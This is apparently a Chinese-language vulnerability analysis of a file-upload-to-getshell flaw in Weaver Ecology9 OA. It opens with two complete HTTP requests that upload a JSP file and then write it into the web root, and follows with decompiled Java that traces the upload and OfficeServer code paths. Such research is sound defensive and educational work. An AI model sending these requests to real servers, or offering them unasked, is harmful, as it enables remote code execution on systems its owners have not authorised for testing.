Ecology9 文件上传分析
正文
ecology9文件上传getshell分为两部分,第一部分payload
POST /workrelate/plan/util/uploaderOperate.jsp HTTP/1.1
Host:xxx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymVk33liI64J7GQaK
Content-Length: 531
------WebKitFormBoundarymVk33liI64J7GQaK
Content-Disposition: form-data; name="secId"
1
------WebKitFormBoundarymVk33liI64J7GQaK
Content-Disposition: form-data; name="Filedata"; filename="hello.jsp"
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%out.print("Hello World!");%>
------WebKitFormBoundarymVk33liI64J7GQaK
Content-Disposition: form-data; name="plandetailid"
1
------WebKitFormBoundarymVk33liI64J7GQaK--
第二部分为
POST /OfficeServer HTTP/1.1
Host:xxx
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymVk33liI64J7GQaK
Content-Length: 207
------WebKitFormBoundarymVk33liI64J7GQaK
Content-Disposition: form-data; name="aaa"
{'OPTION':'INSERTIMAGE','isInsertImageNew':'1','imagefileid4pic':'18064'}
------WebKitFormBoundarymVk33liI64J7GQaK--
先看第一部分,对应的文件是/workrelate/plan/util/uploaderOperate.jsp
。具体部分代码如下
最开始new了一个DesUtil工具类,然后设置响应包头,new了一个FileUpload对象,然后就是new了一个User类并且设置了一些传入的参数,然后在secId不等于0的时候调用deu.uploadDocToImg,deu是weaver.docs.docs.DocExtUtil
工具类,这些都不看,直接先看这个FileUpload对象,去看他的构造方法
public FileUpload(HttpServletRequest var1, String var2) {
this.remoteAddr = var1.getRemoteAddr();
if (this.isMultipartData(var1)) {
this.mpdata = this.getAttachment(var1, var2);
}
this.request = var1;
this.xss = new XssUtil();
}
获取了请求服务器的ip地址,并且调用isMultipartData
方法判断Content-Type是不是multipart/form-data开头,并且调用了this.getAttachment
看着像是获取附件内容,跟进
private MultipartRequest getAttachment(HttpServletRequest var1, String var2) {
if (this.isMultipartData(var1)) {
try {
DefaultFileRenamePolicy var3 = new DefaultFileRenamePolicy();
SystemComInfo var4 = new SystemComInfo();
String var5 = getCreateDir(var4.getFilesystem());
this.isaesencrypt = var4.getIsaesencrypt();
this.aescode = Util.getRandomString(13);
if (var4.getNeedzip().equals("1")) {
this.needzip = true;
}
return new MultipartRequest(var1, var5, var1.getContentLength(), var3, this.needzip, this.needzipencrypt, var2, this.isaesencrypt, this.aescode);
} catch (Exception var6) {
this.writeLog(var6);
return null;
}
} else {
return null;
}
}
new了DefaultFileRenamePolicy和SystemComInfo两个对象,并且调用了getCreateDir
方法,用var4.getFilesystem()
作为参数
public String getFilesystem() {
if (this.filesystem != null && !this.filesystem.equals("") && !this.filesystem.endsWith("/") && !this.filesystem.endsWith("\\")) {
this.filesystem = this.filesystem + File.separatorChar;
}
return this.filesystem;
}
其实就是返回var4.filesystem,继续看getCreateDir方法
var0是传进来的第一个参数,直接来到第二个if,并且把v0中的\\
和/
都替换成一个乱七八糟的字符串,然后最后把乱七八糟的字符串替换为空,并且把var0后补个文件分割符,后续就是构造他的上路径了吧,构造出var0并返回。
回到getAttachment方法,判断了是否aes加密并且通过Util工具类获取了一个随机字符串,然后返回了一个MultipartRequest的对象,这个对象的构造方法调用了他的重载方法。
开始初始化了一些属性,传进来的var1不是空的,所以就进入else,并且这里的var2就是在getAttachment
方法中的var5,是通过getCreateDir
获取的一个path,不是空,然后就是new了一个MultipartParser对象,等我们用到再来看这个对象。new完以后就是一个if判断,判断get请求参数是否是空的,我们这里是post方法,直接跳过这个if了。
来到下面这while循环,通过调用刚刚new出来的MultipartParser对象的readNextPart方法,这里说一下吧,个人推断MultipartParser
这个对象是对content-type为multipart/form-data这种包的分析器,先来看看这个对象的构造方法
很明显的能看到他通过两种途径获取了content-type,返回长度比较长的那个,然后还判断了content-type是不是以multipart/form-data开头,剩下的都是乱七八糟的东西,暂时好像没什么影响,先不分析,继续回到MultipartRequest
类的构造方法,调用了刚刚那个类的readNextPart方法,图在上面,var19是var11.readNextPart()
的返回值,在这个while里有一个if条件判断,他有两个分支,分别是满足var19.isParam为true和var19.isFile()两种情况,这里先看readNextPart这个方法的返回对象类型,他是返回part,去找找part是啥类
这里我看半天,只能找到part是ParamPart,他的isParam
方法如下
public boolean isParam() {
return true;
}
其实他还有一种是FilePart,他的isFile方法是返回true,在readNextPart方法中也能找到
public boolean isFile() {
return true;
}
所以我这里就直接猜var11通过调用readNextPart方法来判断请求包中的某部分是参数还是文件内容?如果是文件内容会返回FileType,如果是参数会返回ParamPart,继续看readNextPart方法,只讲部分。
画的不好看啊见谅,这里就直接判断是否是content-disposition:
开头,然后把里面的参数分割成数组,对应给到name,filename
然后走到下面,filename不为空就直接返回了一个new出来的FilePart,如果filename是空,就会走到下面,返回ParamPart,FilePart构造方法如下
FilePart(String var1, ServletInputStream var2, String var3, String var4, String var5, String var6) throws IOException {
super(var1);
this.fileName = var5;
if (var5 != null) {
this.oriFileName = new String(var5.getBytes("ISO8859_1"), "UTF-8");
}
this.filePath = var6;
this.contentType = var4;
this.partInput = new PartInputStream(var2, var3);
}
所以对应的我们在MultipartRequest构造方法中走到var19.isFile
这个分支,然后是判断var23和var2是否是空,var23是FileType的FileName,var2是之前getCreateDir(var4.getFilesystem())
的结果,然后这个var9,var10分别是isaesencrypt和aescode,然后MultipartRequest的构造方法就差不多完成了,最后是返回给FileUpload的mpdata属性,然后就是调用deu.uploadDocToImg(fu,user, "Filedata",mainId,subId,secId,"","")
。在方法中调用了String var21 = var1.uploadFiles(var3);
public String uploadFiles(String var1) {
String[] var2 = new String[]{var1};
String var3 = this.getParameter("name");
String[] var4 = this.uploadFiles(var2, var3);
return var4 != null && var4.length >= 1 ? var4[0] : null;
}
把参数转换成字符串数组,然后接收name的值,继续调用uploadFiles重载方法
public String[] uploadFiles(String[] var1, String var2) {
if (this.mpdata == null) {
return null;
} else {
int var3 = var1.length;
String[] var4 = new String[var3];
this.filenames = new String[var3];
for(int var5 = 0; var5 < var3; ++var5) {
this.filenames[var5] = SecurityMethodUtil.textXssClean(this.mpdata.getOriginalFileName(var1[var5]));
if (this.filenames[var5] == null || "".equals(this.filenames[var5])) {
return var4;
}
if (!StringUtils.isBlank(var2) && !var2.equals(this.filenames[var5]) && (var2.equals(this.filenames[var5]) || "file".equals(this.filenames[var5]))) {
this.filenames[var5] = var2;
var4[var5] = this.saveFile(var1[var5], var2, this.mpdata);
} else {
var4[var5] = this.saveFile(var1[var5], this.mpdata);
}
}
return var4;
}
}
可以看到,不管怎么样,最后都是会调用一个this.saveFile
方法,直接跟进
在开始是获取了一些信息,但是我们知道刚刚传进来的第三个参数是一个MultipartRequest对象,其他俩都是字符串,我们直接找与var3参数有关的代码即可。
通过var3获取了一个File对象var32,并且获取了一下他的文件长度,判断是否需要zip压缩,如果要就走ZipInputStream,如果不要就走BufferedInputStream,还判断是否需要aes加密,如果需要则再进行一次加密,到最后会调用到var41.setInput和var41.check,代码分别如下
public void setInput(InputStream var1) {
this.in = var1;
this.din = null;
}
public boolean check() {
this.format = -1;
this.width = -1;
this.height = -1;
this.bitsPerPixel = -1;
this.numberOfImages = 1;
this.physicalHeightDpi = -1;
this.physicalWidthDpi = -1;
this.comments = null;
try {
int var1 = this.read() & 255;
int var2 = this.read() & 255;
if (var1 == 71 && var2 == 73) {
return this.checkGif();
} else if (var1 == 137 && var2 == 80) {
return this.checkPng();
} else if (var1 == 255 && var2 == 216) {
return this.checkJpeg();
} else if (var1 == 66 && var2 == 77) {
return this.checkBmp();
} else if (var1 == 10 && var2 < 6) {
return this.checkPcx();
} else if (var1 == 70 && var2 == 79) {
return this.checkIff();
} else if (var1 == 89 && var2 == 166) {
return this.checkRas();
} else if (var1 == 80 && var2 >= 49 && var2 <= 54) {
return this.checkPnm(var2 - 48);
} else {
return var1 == 56 && var2 == 66 ? this.checkPsd() : false;
}
} catch (IOException var3) {
return false;
}
}
其实这里很奇怪,var41.setInput和var41.check并没有输出写文件的代码,在saveFile方法中代码走到这也差不多结束了,那我们上传的文件是在哪里进行写入的还是找不到。我在这里卡了很久,突然想到payload有俩包,一个是传文件,一个操作我还是不知道干啥,这里我继续在saveFile方法里找,发现了有写数据库的操作
这大概就懂了,估计是第一个包先把文件搞到数据库里去,然后第二个包给他弄出来,那我们直接先分析第二个包。他的路由是去OfficeServer,通过在xml文件里找到对应的servlet路径如下classbean/DBstep/OfficeServer.class
首先判断是不是post方法,然后根据传入的OPTION进入不同的分支,这里传的应该是INSERTIMAGE,走到对应的分支
先从传入的json中获取一点参数,判断isInsertImageNew是否为1,我们这里是1,进入if分支,获取了imagefileid4pic参数值,然后执行了如下代码var6.executeQuery("select imagefilename from imagefile where imagefileid=?", new Object[]{var8});
,刚刚在savefiles也是把文件数据写到imagefile 表中,并且我们还需要把第一个包中的fileid值获取给到第二包中的imagefileid4pic,那这里大概就是我猜想的那样,先把文件搞到数据库,然后从数据库中弄出来。继续看代码,如果查询出来有值,获取他的后缀,如果没有后缀默认jpg,然后调用OdocFileUtil.getFileFromByte(OdocFileUtil.inputStream2Byte(ImageFileManager.getInputStreamById(Integer.valueOf(var8))), GCONST.getRootPath(), var9);
首先是ImageFileManager.getInputStreamById(Integer.valueOf(var8))
,然后是OdocFileUtil.inputStream2Byte(ImageFileManager.getInputStreamById(Integer.valueOf(var8)))
,最后才是外面一整个。先看getInputStreamById,看名字就知道是通过id获取输入流
Object var1 = null;
try {
RecordSet var2 = new RecordSet();
String var3 = "select imagefilename,fileRealPath,signinfo,hashinfo,isZip,isaesencrypt,aescode,tokenKey,storageStatus from ImageFile where imageFileId = " + var0;
var2.executeSql(var3);
if (var2.next()) {
String var4 = Util.null2String(var2.getString("fileRealPath"));
String var5 = Util.null2String(var2.getString("signinfo"));
String var6 = Util.null2String(var2.getString("hashinfo"));
String var7 = Util.null2String(var2.getString("isZip"));
int var8 = Util.getIntValue(var2.getString("isaesencrypt"), 0);
String var9 = Util.null2String(var2.getString("aescode"));
String var10 = Util.null2String(var2.getString("tokenKey"));
String var11 = Util.null2String(var2.getString("storageStatus"));
String var12 = Util.null2String(var2.getString("imagefilename"));
开始是通过id从数据库获取信息给到变量
然后就是在校验文件完整后把输入流对象给到var1,然后是判断var8和var14是否是满足条件的,如果满足还需要进行一层处理,差不多var1最终是到这了,因为再往下会对后缀校验,判断是否是office的格式,如果是再进行处理,如果不是就不处理了,直接return var1了。
inputStream2Byte没什么好说的, 就是把输入流转换成字节数组
最后来看getFileFromByte方法,判断var1是不是文件夹并且是否存在,然后拼接var1和var2,调用var3进行写文件。